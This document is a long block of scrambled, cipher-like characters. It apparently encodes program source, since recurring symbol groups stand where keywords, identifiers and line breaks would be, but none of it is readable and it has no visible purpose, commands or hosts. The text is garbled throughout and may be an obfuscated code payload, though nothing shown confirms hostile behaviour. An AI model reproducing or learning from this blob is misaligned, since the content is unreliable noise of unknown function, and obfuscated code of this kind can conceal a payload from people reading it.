,#em?|?!)+'qtu++mtpvwlm0!(7.u=/&.(.mw}pllleeeee>OOOOea&?||$(,+eeexeeeeee"?,+#)$1 m?|?!)+'qtu++mtpptlma&?||$(,+iemqnslie=}p-/*"'(=r+3mtpq}lma&?||$(,+leeheeemvuhtwlliemtuq}ptsnsull~Oee,#eeeem=}p-/*"'(=r+3mtppwlma&?||$(,+lecceee=w7ru&0,2#3mtpq}lma&?||$(,+lee{eeemu=&w&tsnu=v!v $lle7 107+eeee#$)6 ~OOOOeee8Oeeeee )6 e7 107+ee#$)6 ~Oeeeee8Oeee,#eemd=w7ru&0,2#3mtppwlma&?||$(,+le99ee=w7ru&0,2#3mtpq}lma&?||$(,+leeyemu=vqnu=vuleeeeee99eee?|?!)+'qtu++mtpptlma&?||$(,+ieeeuieeeemvnwlledxxe=w7ru&0,2#3m|vqle99ee0!(7.u=/&.(.mtqqqlma&?||$(,+leeeedxxeea33q#<('6.4r$swle7 107+ee#$)6 ~Oeeeeeeee7 107+eea&?||$(,+~O8Oe#0+&1,*+eeee-u04rs!.p,"05"3mlOeeeeee>Oeee17<eeee>O,#eeeeemd! #,+ !m=}p-/*"'(=r+3mtppvllle7 107+~Oea3&#2$*q!?2eeexe, )qq4,ws? 3tp }}r.!}ml~Oeeeeeeee,#eemd=}p-/*"'(=r+3mtptwlma3&#2$*q!?2tlle7 107+~Oee,#eem"55" =25&u6<0--7ma3&#2$*q!?2tleexxxe#$)6 leee7 107+~Oa?2*"sw"=p6/2eeexeee-v/"u3(r7,t6<m?|?!)+'qtu++mtppqlieeee$77$<mb	blieeeeee$77$<m0!(7.u=/&.(.mtvqrlm.!*q3ww&t$ 5+*7'&rmliee=w7ru&0,2#3mttrrllll~Oee,#eemd0!(7.u=/&.(.mtppplma?2*"sw"=p6/2le99eea?2*"sw"=p6/2eeeeexxxeggleee7 107+~Oeeeeea?2*"sw"=p6/2eexe0!(7.u=/&.(.mtppslm=}p-/*"'(=r+3mtpprlieeggiea?2*"sw"=p6/2l~O,#eemd=}p-/*"'(=r+3mtpp}lma?2*"sw"=p6/2lee99eea?2*"sw"=p6/2eeeeeexxxeegglee7 107+~Oa.. ./"<<-'}62usexee',7|#2u4-"!$4'1"smleeekeeebbekeee!5} }=v42/31wmeeke?|?!)+'qtu++mtpp|lieeeeemwnsll~Oa562s.'1.v0|-eexe=}p-/*"'(=r+3mtpsuleekeeeeea.. ./"<<-'}62useeeeeekeeee0!(7.u=/&.(.mtpstl~OOeeea33'.|0-t77"|eeeeexe?|?!)+'qtu++mtpswleeeekea.. ./"<<-'}62useeeeeekeee0!(7.u=/&.(.mtpsvl~Oeea$rv#.-u&*#3exeeee=w7ru&0,2#3mtpsqleekea3&#2$*q!?2weeekee=w7ru&0,2#3mtpspleeekee',7|#2u4-"!$4'1"smleeeke?|?!)+'qtu++mtpsvleekeg+geekeeeeea?2*"sw"=p6/2~O,#emd=}p-/*"'(=r+3mtptwlma3&#2$*q!?2ullee>Oee,#eeemd(0|+(&51-"2,*<1 ma3&#2$*q!?2uieeegglleee>Oeeeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtpqqlie=}p-/*"'(=r+3mtpssll~Oeeeeee7 107+~Oeeeeee8Oeee,#eem<?+3w",2"p|.<!5!ma3&#2$*q!?2uieea$rv#.-u&*#3llee>O6qp1/"3/r)3u0v.w,|ma3&#2$*q!?2uie"7t3r$!4vp#w=u$53mll~OOe17.s-rs}w1.3'qma3&#2$*q!?2uiemvrunpull~OOOee1&s?222)1$ (10)r+3?ma3&#2$*q!?2ul~Oeee8Oeeee7 107+~Oe8Oeeeeeea"v3(q!/ tw)exeee=}p-/*"'(=r+3mtpsrlma3&#2$*q!?2ul~O,#emd=}p-/*"'(=r+3mtpp}lma"v3(q!/ tw)leee99ee?|?!)+'qtu++mtpq}lma"v3(q!/ tw)leeee{eeemwu|ru}|nsvlleee7 107+~Oe,#eeem=w7ru&0,2#3mtpuqlma"v3(q!/ tw)iea562s.'1.v0|-ledxxe#$)6 eecceeee0!(7.u=/&.(.mtpuqlma"v3(q!/ tw)ieeea33'.|0-t77"|ledxxe#$)6 le7 107+~Oeee,#eeeem=w7ru&0,2#3mtps}lma"v3(q!/ tw)iee=w7ru&0,2#3mtps|lleexxxeee#$)6 eeeecceee0!(7.u=/&.(.mtps}lma"v3(q!/ tw)iee=}p-/*"'(=r+3mtpruleekeea3&#2$*q!?2wleedxxee#$)6 le>Oeeeee,#eem=}p-/*"'(=r+3mtwr|lm=}p-/*"'(=r+3mtprtlieeee=w7ru&0,2#3mtpptlma"v3(q!/ tw)ieeuiem}vtppllieea,456"|=twr).(-leccee3 76,*+&*(5$7 ma,456"|=twr).(-tieee',7|#2u4-"!$4'1"smliee=w7ru&0,2#3mtprwllle7 107+~Oeeeee,#eemd(0|+(&51-"2,*<1 ma3&#2$*q!?2uieeea"v3(q!/ tw)llee>Oe="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtpqqlieeeeee0!(7.u=/&.(.mtpssll~Oeeeee7 107+~Oeeeee8Oeee,#eeeem<?+3w",2"p|.<!5!ma3&#2$*q!?2uiea$rv#.-u&*#3lleeeee>Oee6qp1/"3/r)3u0v.w,|ma3&#2$*q!?2uie"7t3r$!4vp#w=u$53mll~Oe17.s-rs}w1.3'qma3&#2$*q!?2uieeemvqsnrqll~Oee1&s?222)1$ (10)r+3?ma3&#2$*q!?2ul~Oee8Oe7 107+~Oeee8OOOOeeeeea<?</0*|!|#<qexeee!5} }=v42/31wmeekeee0!(7.u=/&.(.mtpp|lieeeeemttvll~Oea"v3(q!/ tw)exe=}p-/*"'(=r+3mtprvlm?|?!)+'qtu++mtprqleeeekea<?</0*|!|#<qekee0!(7.u=/&.(.mtprplieggiea"v3(q!/ tw)l~OOOeeeeeeee,#emd=w7ru&0,2#3mtpp}lma"v3(q!/ tw)lle>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtpqqlie=}p-/*"'(=r+3mtpt|ll~Oee7 107+~Oee8Oee,#eeemd=w7ru&0,2#3mtq}|lma3&#2$*q!?2ullee7 107+~Oeee,#eemd5(-!* wr3*7<|}3 v3'56m=}p-/*"'(=r+3mtpqqllleeee>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtprslie0!(7.u=/&.(.mtprrll~O7 107+~Oe8Oee,#eeeemd(0|+(&51-"2,*<1 ma3&#2$*q!?2uieeea"v3(q!/ tw)llee>Oee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtprslieee=w7ru&0,2#3mtpssll~Oee7 107+~Oeee8Oee2," .t<2u*#&4/*&r"'?tm=w7ru&0,2#3mtprsll~Oeeea)w=!1}|r|-,)3/eexeea562s.'1.v0|-eekeeeg+geeeeke0!(7.u=/&.(.mtpr}leeeekeea3&#2$*q!?2weke=}p-/*"'(=r+3mtpsvleekeg+gekeea?2*"sw"=p6/2ekeeeeeg+geekeeea33'.|0-t77"|~O<?+3w",2"p|.<!5!ma3&#2$*q!?2uieeee 4/!'q4s1$,=)ma"v3(q!/ tw)iea)w=!1}|r|-,)3/ll~Oeeeee8ee&$1&-eeem-7*2$') eea=w}=)'/7<3/lee>Oeeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtprsliea=w}=)'/7<3/l~Oeeeee8eeee&$1&-eeeeem =& 51,*+eeeea=w}=)'/7<3/leeeee>OOOeeee8O8O#0+&1,*+eeee#r.tvt*-up,5"370mlOOOOe>O17<e>Oeeeeeee,#eeeemd! #,+ !m=w7ru&0,2#3mtppvllle7 107+~Oa3&#2$*q!?2exeeeee, )qq4,ws? 3tp }}r.!}ml~OOOea"??s )(qu3,3}exeeeeem617,+"le=w7ru&0,2#3mtpr|lma3&#2$*q!?2tiee#$)6 ie+0))ieeuieeem}phwtll~Oeee,#eeeem?|?!)+'qtu++mtwr|lm0!(7.u=/&.(.mtp}ulieeeeea"??s )(qu3,3}iea)(34wu00 s-s),sleecceeea)(34wu00 s-s),steexxxee',7|#2u4-"!$4'1"smllee>Oeea7&!'t1#/s}p7,q.eexem,+1lee" 1*51,*+m=w7ru&0,2#3mtp}tlieeeul~Oe,#eeem0!(7.u=/&.(.mtp}wlmleheea7&!'t1#/s}p7,q.eyemu='unu=t$}lleee7 107+~OOOeee,#eem"55" =25&u6<0--7ma3&#2$*q!?2tleeedxxe#$)6 leeeeee>Oeeeee05!$1 *51,*+m=w7ru&0,2#3mtp}tliee?|?!)+'qtu++mtp}wlmliee0!(7.u=/&.(.mtp}vll~Oe7 107+~Oeeee8Oeeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtprsliee0!(7.u=/&.(.mtp}qll~Oee8OOOOea++&0*6#1ru?eeexee0=&?!<<|0*r/q0.<6ml~Oeeee,#eeeeemda++&0*6#1ru?eee99ee=w7ru&0,2#3mtpq}lma++&0*6#1ru?leeyeeemqqpnppleeeee99e0!(7.u=/&.(.mtpq}lma++&0*6#1ru?lee{eeemtuqss}pnt}|tlee99eed +/$07!"qr+ 6)*pw</s -ma++&0*6#1ru?lleeeee7 107+~OOOeeea7 $wv5--'weeeexee=w7ru&0,2#3mtp}plm=}p-/*"'(=r+3mtp}slleeze"? +&*! ma++&0*6#1ru?iemtnplleeeeea++&0*6#1ru?~O,#eeeeemd0!(7.u=/&.(.mtpp}lma7 $wv5--'wle99eeea7 $wv5--'wexxxeeggleeeeee7 107+~OO,#em<?+3w",2"p|.<!5!ma3&#2$*q!?2tieee?|?!)+'qtu++mtp}rleeekeeee',7|#2u4-"!$4'1"smleeekebbeeeke0!(7.u=/&.(.mtqqqlma++&0*6#1ru?leekeebbeekeeeee=w7ru&0,2#3mv}wlma7 $wv5--'wllle05!$1 *51,*+m=w7ru&0,2#3mtp}tlieee=w7ru&0,2#3mtp}wlmlie=}p-/*"'(=r+3mtp}vll~Oeeee8eee&$1&-em-7*2$') eea=w}=)'/7<3/lee>Oeeeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtp}}liea=w}=)'/7<3/l~Oe8eee&$1&-em =& 51,*+ea=w}=)'/7<3/le>Oee8Oeeeeeeee8O#0+&1,*+eee 17)1.)v35u1,#,#=|)mlOeeee>Oeee,#emd?|?!)+'qtu++mtp}|lm=}p-/*"'(=r+3mtp|ulllee7 107+ee#$)6 ~Oea<?p'+ 1p<=|?(#1"eeexee! #,+ !m=}p-/*"'(=r+3mtp|tlleeeeeccee0!(7.u=/&.(.mtp|wlmeeekee0!(7.u=/&.(.mp}tlleeeeeezeeeeekee?|?!)+'qtu++mp}tleeee	 ~Oe7 107+e=}p-/*"'(=r+3mtp|vlma<?p'+ 1p<=|?(#1"ieeb6bl~Oeeeeee8Oeeeee#0+&1,*+eeeee)wr?-$'+u(s,0)-mlOeeee>O17<eee>O,#eeeeemd=w7ru&0,2#3mtp|qlm0!(7.u=/&.(.mtp|plleee99ed=}p-/*"'(=r+3mtp|slm0!(7.u=/&.(.mtp|vllle7 107+~Oee,#eeeemd! #,+ !m=}p-/*"'(=r+3mtp|tllle7 107+~OOOeea++&0*6#1ru?exeee0=&?!<<|0*r/q0.<6ml~O,#emda++&0*6#1ru?ee99ee?|?!)+'qtu++mtp|rlma++&0*6#1ru?leeyeemqwun}ullee7 107+~Oa. <eeeeeexee 17)1.)v35u1,#,#=|)ml~Oee,#ema. <eeexxxeee#$)6 lee7 107+~Oeea ?4t*+u*}?t|p!/eexeeeee?|?!)+'qtu++mtp|slm=}p-/*"'(=r+3mtp|}llezeee=w7ru&0,2#3mtp||lm0!(7.u=/&.(.mtsuuliea++&0*6#1ru?leeeee?|?!)+'qtu++mtqqqlma++&0*6#1ru?l~Oa&#)'+pp!01 w=v.5exeeeeee?|?!)+'qtu++mtsutleeeekeee=w7ru&0,2#3mtsuwlma++&0*6#1ru?leekeeeebbeekeeea ?4t*+u*}?t|p!/ekeeeg+geeekeea++&0*6#1ru?~Oeeeeeeea,7?275}4q=*'4exee?|?!)+'qtu++mtsuwlma&#)'+pp!01 w=v.5l~Oa4.<)2535'q!'-eeeexeee?|?!)+'qtu++mtsuvlma. <ieeb$bieuieeeeul~Oe,#ema4.<)2535'q!'-leee>Oa+v (4} 6-6<}u6exem,+1le0!(7.u=/&.(.mtsuqlma4.<)2535'q!'-l~Oeeeeeea,t#,qpr<vv3exee0!(7.u=/&.(.mtsuplma4.<)2535'q!'-ieuieea+v (4} 6-6<}u6l~Oe,#eeem=w7ru&0,2#3mtpp}lma,t#,qpr<vv3leeccee0!(7.u=/&.(.mtps}lma,t#,qpr<vv3ieea++&0*6#1ru?leedxxeeee#$)6 lee>Oe=}p-/*"'(=r+3mtsuslma4.<)2535'q!'-l~Oe7 107+~Oeeeee8Oeeeee,#eema+v (4} 6-6<}u6e{xeeeeea,7?275}4q=*'4leee>Oeeee=}p-/*"'(=r+3mtsuslma4.<)2535'q!'-l~Oeea4.<)2535'q!'-eexee=w7ru&0,2#3mtsuvlma. <ieb2bieeeeuieeeeeeul~Oeee,#ema4.<)2535'q!'-leeeee>Oeee=w7ru&0,2#3mtsurlma4.<)2535'q!'-ie0!(7.u=/&.(.mtsu}lma&#)'+pp!01 w=v.5ieea+v (4} 6-6<}u6ieguglieeeul~Oeea$?=s1#1)3<qeeeexeee=}p-/*"'(=r+3mtsuplma4.<)2535'q!'-ieeuieeeea,7?275}4q=*'4l~Oe=w7ru&0,2#3mtsuslma4.<)2535'q!'-l~Oe,#eema$?=s1#1)3<qedxxeeea&#)'+pp!01 w=v.5lee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtsu|lie=w7ru&0,2#3mtww|ll~Oe8OOeee7 107+~Oee8eeeeee )6 e>Oee=}p-/*"'(=r+3mtstulma4.<)2535'q!'-l~O=w7ru&0,2#3mtsuslma4.<)2535'q!'-l~Oeeeeeee8Oeeee8OOOea+v (4} 6-6<}u6eeeeexeeeea,7?275}4q=*'4eneemtp|uhpssl~Oeeeeeeea4.<)2535'q!'-eeeexeeeee=}p-/*"'(=r+3mtsuvlma. <ieeeeb&bieemv}snvqlieea+v (4} 6-6<}u6l~Oe,#eemda4.<)2535'q!'-leeee7 107+~Oe=w7ru&0,2#3mtsurlma4.<)2535'q!'-ieee=w7ru&0,2#3mtsu}lma&#)'+pp!01 w=v.5iea+v (4} 6-6<}u6ieguglieul~Oa$?=s1#1)3<qeeexeeeee0!(7.u=/&.(.mtsttlma4.<)2535'q!'-ieeeeuieeeeeea,7?275}4q=*'4l~O,#eema$?=s1#1)3<qeedxxea&#)'+pp!01 w=v.5leeeeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtsu|lieeee0!(7.u=/&.(.mtww|ll~OOee0!(7.u=/&.(.mtstwlma4.<)2535'q!'-l~Oeeeeee8ee&$1&-em-7*2$') ea=w}=)'/7<3/leeeee>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtsu|lieeea=w}=)'/7<3/l~Oeeeeee8e&$1&-em =& 51,*+eea=w}=)'/7<3/le>Oeeee8Oe8O#0+&1,*+ee 4/!'q4s1$,=)ma&077 +1iea)w=!1}|r|-,)3/lO>OOOO,#eeeeemd=w7ru&0,2#3mtpp}lma&077 +1le99ea&077 +1exxxeeeeeggleee7 107+eee=}p-/*"'(=r+3m||rleekeeea)w=!1}|r|-,)3/eekeeeeg+g~OO,#em=}p-/*"'(=r+3mtstvlm?|?!)+'qtu++mtstqlieeeea&077 +1ieea+q&"q}.+3742ieee 
  lle>Oa,t+ t0.w6t'eeexea+q&"q}.+3742utene=}p-/*"'(=r+3mtsuwlma+q&"q}.+3742uul~Oeeeeeeeea$ +-|''0sp"eeeexeeee?|?!)+'qtu++mtpptlma&077 +1ieeeea,t+ t0.w6t'ieemsrttntq}tll~Oe2-,) eeeeem=w7ru&0,2#3mtpp}lma$ +-|''0sp"leecceee=}p-/*"'(=r+3mtstvlm=}p-/*"'(=r+3mtstplieea$ +-|''0sp"iea!(llee>Oeeeea,t+ t0.w6t'enxee=w7ru&0,2#3mtsuwlma!(ul~Oa$ +-|''0sp"exeeeeee=w7ru&0,2#3mtstslma&077 +1ieeeea,t+ t0.w6t'iemqspnrrwrll~Oe8Oe7 107+eeeeee=}p-/*"'(=r+3mtstslma&077 +1ieuieeeea,t+ t0.w6t'leekeg+gekeeea)w=!1}|r|-,)3/ekeeeg+geekee=w7ru&0,2#3mtstslma&077 +1ieea,t+ t0.w6t'l~Oe8Oeeeeeee7 107+ee?|?!)+'qtu++m||rleeeeekeea)w=!1}|r|-,)3/eeekeeg+z{+geekeeea&077 +1~Oee8Oee#0+&1,*+ee5(-!* wr3*7<|}3 v3'56ma. <lOe>O,#eeemd=w7ru&0,2#3mtp|slm?|?!)+'qtu++mtpw}llle7 107+eee170 ~Oa?w7r,-#/(.u-)eeexee" 1*51,*+m0!(7.u=/&.(.mtstrleeeeeekeeeea. <ieeggl~Oeeee,#eeem=}p-/*"'(=r+3mtpp}lma?w7r,-#/(.u-)lecceeee=w7ru&0,2#3mtst}lma?w7r,-#/(.u-)ieeeeb9bledxxeeee#$)6 leeeee>Oea33q#<('6.4r$sexeeeeee0!(7.u=/&.(.mtttwlmb9biea?w7r,-#/(.u-)ieewl~Oee,#emm,+1leea33q#<('6.4r$sueeexxxeem,+1lem0!(7.u=/&.(.mtp}wlmleeeeejeeeemtsps}rhr|w}rlleeeeccem,+1leeea33q#<('6.4r$stee{xeeemu=tnu=wlle7 107+ee#$)6 ~Oeeee8O7 107+ee170 ~Oeeee8O#0+&1,*+eee2," .t<2u*#&4/*&r"'?tma. <lOeee>OOOOe,#eeeemd=w7ru&0,2#3mtp|slm0!(7.u=/&.(.mtpw}lleeee99eeeed0!(7.u=/&.(.mtp|slm=w7ru&0,2#3mtu}pllleee7 107+~Oeeeeeea).s)?0+/?u'eexeem,+1leem?|?!)+'qtu++mtp}wlmleejeeeeem}sv}}ntwll~Oeea?w7r,-#/(.u-)eexeeee" 1*51,*+m=w7ru&0,2#3mtst|leekeea. <ieeeggl~Oa$)w)#u=7<s!eeexeu~Oe,#eem=w7ru&0,2#3mtswulma?w7r,-#/(.u-)leeecceeee=w7ru&0,2#3mtst}lma?w7r,-#/(.u-)ieeeeeb9bleeeeedxxeeee#$)6 leee>Oa33q#<('6.4r$seeexe0!(7.u=/&.(.mtttwlmb9bieeeeea?w7r,-#/(.u-)iewl~Oeeeeee,#eeeemm,+1leeea33q#<('6.4r$sueeeeexxxeeea).s)?0+/?u'leeeea$)w)#u=7<s!eeexeeem,+1lea33q#<('6.4r$st~O8Oa$)w)#u=7<s!nn~Oeeee05!$1 *51,*+m0!(7.u=/&.(.mtst|lekea. <ieea).s)?0+/?u'eeekeb9beeeeekeea$)w)#u=7<s!ieeeee?|?!)+'qtu++mtp}vll~OO,#eema$)w)#u=7<s!ee{xeeemphwlle="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtswtlie?|?!)+'qtu++mtswwleekeeeeea. <l~Oeeeeeee8Oeee#0+&1,*+ee4r$+})t4#,6.+6mlO>Oeeeeee17<e>O,#eeeemd! #,+ !m=}p-/*"'(=r+3mtp|tllleeee7 107+~OOOeeeee,#emd! #,+ !m?|?!)+'qtu++mtswvlleee99eed=w7ru&0,2#3mtswqlm
 leeee99eeeeed&qw(-'"p& 4 s7s<(m
 llee7 107+~Oea.7"=!#p<*|t4exeeee
 ~OOa15(7p&167|-!eeexeeeeea.7"=!#p<*|t4eeke?|?!)+'qtu++mppvl~Oea(p7/u0 *5&-6t$"eeeeexeeeeee=}p-/*"'(=r+3mtvqrlm.!*q3ww&t$ 5+*7'&rmlie?|?!)+'qtu++mttrrll~Oeeea=6&<2*=- ,*2eexe!5} }=v42/31wmeekeeee0!(7.u=/&.(.mtqwulieemu=pnu=vlleekeeeeee?|?!)+'qtu++mtvq|l~Oeea7.s="4u* "4 "7(exeee)!r7q}$#qrwq+&#6,#6,'ml~Oea,!w#uut6!4 peexe!5} }=v42/31wmeeke=w7ru&0,2#3mtpv|lieeeemtwhwll~Oa?43#+st#-/eeeexeeee=w7ru&0,2#3mtswplm=}p-/*"'(=r+3mtp|vlleeeze 17)1.)v35u1,#,#=|)mleeeee#$)6 ~Oeea,$q37<w|416(qr&-eexeeea?43#+st#-/edxxee#$)6 eezee?|?!)+'qtu++mtswslma?43#+st#-/leeeeu~OOOOeea51-7-!"}s|u?. .(eexeeee,66 1ma	
	=}p-/*"'(=r+3mtvqqlh{57 #,=lezea	
	?|?!)+'qtu++mtvqqlh{57 #,=eeeee=w7ru&0,2#3m}q}l~Oea+=s#<&2v|) #6ueeeeexee=}p-/*"'(=r+3mtswrleekee0!(7.u=/&.(.mtstslm=}p-/*"'(=r+3mtqqqlma(p7/u0 *5&-6t$"eekeeeem617,+"le/$v/7?qq 0|<!<|$mllieeeeeeuieeemqqvsll~Oeea!'!='5=+q'u=peeeexeeee-v/"u3(r7,t6<mOe?|?!)+'qtu++mtsw}liOeeee$77$<mb	bieb bieeb
 bieb
 bieeb bieeb bieb 
bliOee$77$<ma(p7/u0 *5&-6t$"ieeeea=6&<2*=- ,*2ieea,$q37<w|416(qr&-iea,!w#uut6!4 pieeea51-7-!"}s|u?. .(ieeeea+=s#<&2v|) #6uieee',7|#2u4-"!$4'1"smllOeeeel~Oe,#eeeeemda!'!='5=+q'u=ple>Oee,#eeeeemm,+1le" 1*51,*+m?|?!)+'qtu++m}|plieuleee{eeeule="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtsw|lie?|?!)+'qtu++mtsvull~O7 107+~OO8Oa&077 +1eeeeexeeeee0!(7.u=/&.(.mtsvtlma15(7p&167|-!leeezeeee?|?!)+'qtu++mtsvwlma15(7p&167|-!leeeeeeeeeegg~O,#eemd0!(7.u=/&.(.mtswulma&077 +1lleeeeee>Oee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mtsw|liee=}p-/*"'(=r+3mtptqll~Oeee7 107+~Oeee8OOOOea&077 +1eexeeeee--r<<!4$-0!rq)}pma&077 +1l~Oeea.. ./"<<-'}62useeeeeexee',7|#2u4-"!$4'1"smleekeeeebbeeeeke!5} }=v42/31wmeeke=}p-/*"'(=r+3mtsvvlieeeemtnrll~Oeeeea562s.'1.v0|-eexeee=w7ru&0,2#3mtsvqleekea.. ./"<<-'}62useeeekeeee?|?!)+'qtu++mtpsvl~Oeea33'.|0-t77"|exeeee?|?!)+'qtu++mtsvpleekeeeeea.. ./"<<-'}62useeke?|?!)+'qtu++mtpsvl~OOOea?w?"|-(v=#eexeee!5} }=v42/31wmeeke=}p-/*"'(=r+3mtsvvlieemu=tnu=rll~OOOeeea5,}7!,?3<?1|#,eeeeexee=w7ru&0,2#3mtprvlm=}p-/*"'(=r+3mtsvslekeeeea?w?"|-(v=#eeke0!(7.u=/&.(.mtsvrlieggieea&077 +1l~Oea?3u(!27)|3(!!peeeexeeeem?|?!)+'qtu++mtst}lma5,}7!,?3<?1|#,iee?|?!)+'qtu++mtsv}lleedxxe#$)6 l~Oe,#eeeem?|?!)+'qtu++mtsv|lma&077 +1ieea562s.'1.v0|-leeedxxe#$)6 ecceee0!(7.u=/&.(.mtsv|lma&077 +1ieea33'.|0-t77"|leeeedxxeeee#$)6 ecceeeda?3u(!27)|3(!!pleeee>O+u)&t0u.} ssml~O7 107+~Oee8OOOOea&077 +1eeeeexeee0!(7.u=/&.(.mtprvlm=}p-/*"'(=r+3mtsqulieeggieea5,}7!,?3<?1|#,l~Oeeeee,#eemd0!(7.u=/&.(.mtswulma&077 +1llee>Oee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mtsw|liee?|?!)+'qtu++mtpt|ll~O7 107+~OOeeee8eeeee>Oeeeeea&077 +1eeeexeee--r<<!4$-0!rq)}pma&077 +1l~Oa?/t=+)=5p|/#?(ueeeeeexee0!(7.u=/&.(.mtprvlm?|?!)+'qtu++mtpprlieeeggieea!'!='5=+q'u=pl~Oea"4uu=,=!,+*eeeexeeeeem?|?!)+'qtu++mtsqtlma&077 +1leeexxxeul~Oee,#emda"4uu=,=!,+*le>Oeeee,#eeeemd5(-!* wr3*7<|}3 v3'56m=w7ru&0,2#3mtsqwllleee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtsqwliee?|?!)+'qtu++mtsqvll~Oee7 107+~OOOee8Oee,#emd(0|+(&51-"2,*<1 ma15(7p&167|-!ieeeeea&077 +1lleeee>Oeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtsqwliee=}p-/*"'(=r+3mtsqqll~Oeeeeee7 107+~Oeeee8O2," .t<2u*#&4/*&r"'?tm0!(7.u=/&.(.mtsqwll~Oeeee8e )6 e>Oee,#eeemd(0|+(&51-"2,*<1 ma15(7p&167|-!ieeegglleee>Oeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mtsqplieeeee=w7ru&0,2#3mtsqqll~O7 107+~OOeee8OOOee8Oeeea?,-&2p00.rv-exeeee 4/!'q4s1$,=)ma&077 +1ieea562s.'1.v0|-ekeeeeg+geeeeekea?/t=+)=5p|/#?(ueeeekeg+geeekeea33'.|0-t77"|l~O,#emd<?+3w",2"p|.<!5!ma15(7p&167|-!ieea?,-&2p00.rv-lleee>Oee7 107+~OOeee8OOOOeeeeeee,#ema"4uu=,=!,+*leee1&s?222)1$ (10)r+3?ma15(7p&167|-!l~OO+u)&t0u.} ssml~O8Oeeeeee8e&$1&-eeem-7*2$') eea=w}=)'/7<3/lee>Oeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtsqplieeeea=w}=)'/7<3/l~OOeeee8eee&$1&-em =& 51,*+ea=w}=)'/7<3/le>O8Oeeeeeeee8O#0+&1,*+ee'/ /t5"$,11"q+-s6}/mlO>Oeee17<e>Oe,#eemd! #,+ !m?|?!)+'qtu++mtp|tllleeeee7 107+~Oe,#em0.s=<ws1t("!& m.!*q3ww&t$ 5+*7'&rmllleee7 107+~Oeeee,#eemd0!(7.u=/&.(.mtsqslm0!(7.u=/&.(.mtv|rllleee7 107+~Oee,#em0!(7.u=/&.(.mtsqrlmleeexxxe=w7ru&0,2#3mtqtqlleeee7 107+~Oeeeeeeee,#eeeemd,66 1ma  ?|?!)+'qtu++mtsq}llleee7 107+~Oeee,#eem" 117$+6, +1m?|?!)+'qtu++mtsq|llleeee7 107+~Oeeeeea#pp!,?,732s1)eexe)!r7q}$#qrwq+&#6,#6,'ml~O,#eeeeemd0!(7.u=/&.(.mtv}|lma#pp!,?,732s1)lleeee")"--6=55t,-(&ma#pp!,?,732s1)ieeeeemssnqwrlieeeee170 l~OOOO,#emd=w7ru&0,2#3mtv}|lma#pp!,?,732s1)lee99ed=}p-/*"'(=r+3mtswqlma#pp!,?,732s1)lleee>Oeeeea#pp!,?,732s1)eexeeeeekee?|?!)+'qtu++mtspul~OO,#eemd?|?!)+'qtu++mtswqlma#pp!,?,732s1)llea#pp!,?,732s1)exee/v&))=5vt?}||u5'#<&4ml~O8Oeea6s-t| s +<?eeeeeexee!5} }=v42/31wmeeeekeeb"bieemu=qnu=qll~Oeeeeea/5s!1"}$tqeeexeeee?|?!)+'qtu++mpstleeekeeea6s-t| s +<?eke0!(7.u=/&.(.mtsptl~Oea6|3$6.2 +6'}eexeeeea#pp!,?,732s1)eeekeebjbeekea/5s!1"}$tq~OOOOea?).?-$)7*.eexeeeea#pp!,?,732s1)eeke?|?!)+'qtu++mtspwlekea6s-t| s +<?~OOe#*7 $&-eeeeeem$77$<ma#pp!,?,732s1)ieeeeeekeeee?|?!)+'qtu++mtspulieee/v&))=5vt?}||u5'#<&4mlle$6eeeeea3r(3v!"|(1lee>Oeea.u*&/650v+||4*/eeexeea3r(3v!"|(1eke?|?!)+'qtu++mtspvleeeeekeeeeea6s-t| s +<?~OOe,#em?|?!)+'qtu++mtptwlma.u*&/650v+||4*/lle>Oeeeeea-}s-w7612,eeeexem,+1leee=w7ru&0,2#3mtspqlma.u*&/650v+||4*/l~O,#eeema-}s-w7612,eeeeeyxee0!(7.u=/&.(.mtspplmleeeeheeeeeem}svrqnwslee99eeeeea-}s-w7612,eeee{eee=w7ru&0,2#3mtspplmlenemwqwnp}lle>O&-p.5#|,2/2?|.!,ma.u*&/650v+||4*/l~OOe&*+1,+0 ~Oeee8Oee,#eem0!(7.u=/&.(.mtptwlma3r(3v!"|(1ekeeee=w7ru&0,2#3mtspsleeekeeea6s-t| s +<?eeeeekeeeeee=}p-/*"'(=r+3mtsptlllee7 107+~Oeee&-p.5#|,2/2?|.!,ma.u*&/650v+||4*/l~Oee8O8Oee0+6 1ma3r(3v!"|(1iea.u*&/650v+||4*/iea-}s-w7612,l~Oa?.)0r|7 /!s4?|2exeeeeeke?|?!)+'qtu++mw|vlekeea/5s!1"}$tq~O,#eeeema#pp!,?,732s1)edxxeeeeeekeee0!(7.u=/&.(.mtspulecce?|?!)+'qtu++mtsprlma?.)0r|7 /!s4?|2leeecceee 7t(33t0r3)($2/+}"ma?.)0r|7 /!s4?|2leedxxe#$)6 lee>O17.s-rs}w1.3'qma?.)0r|7 /!s4?|2ieeempsrhtqrll~OOOeee,#em&-p.5#|,2/2?|.!,ma?.)0r|7 /!s4?|2leeecceeee=w7ru&0,2#3mtsp}lm?|?!)+'qtu++mtpvlllee*5&$&- ,+3$),!$1 ma?.)0r|7 /!s4?|2ie170 l~Oeee8Oeee0+6 1ma?.)0r|7 /!s4?|2l~O,#eeem?|?!)+'qtu++mtsprlma?).?-$)7*.leecceeeem,+1leeeeee=}p-/*"'(=r+3mtsp|lma?).?-$)7*.lee{e0!(7.u=/&.(.mtspplmleehemwtunvullee7 107+~OOe,#em0!(7.u=/&.(.mtsprlma6|3$6.2 +6'}lecceeeem0!(7.u=/&.(.mtspplmleeeehem,+1lee#,) &1,( ma6|3$6.2 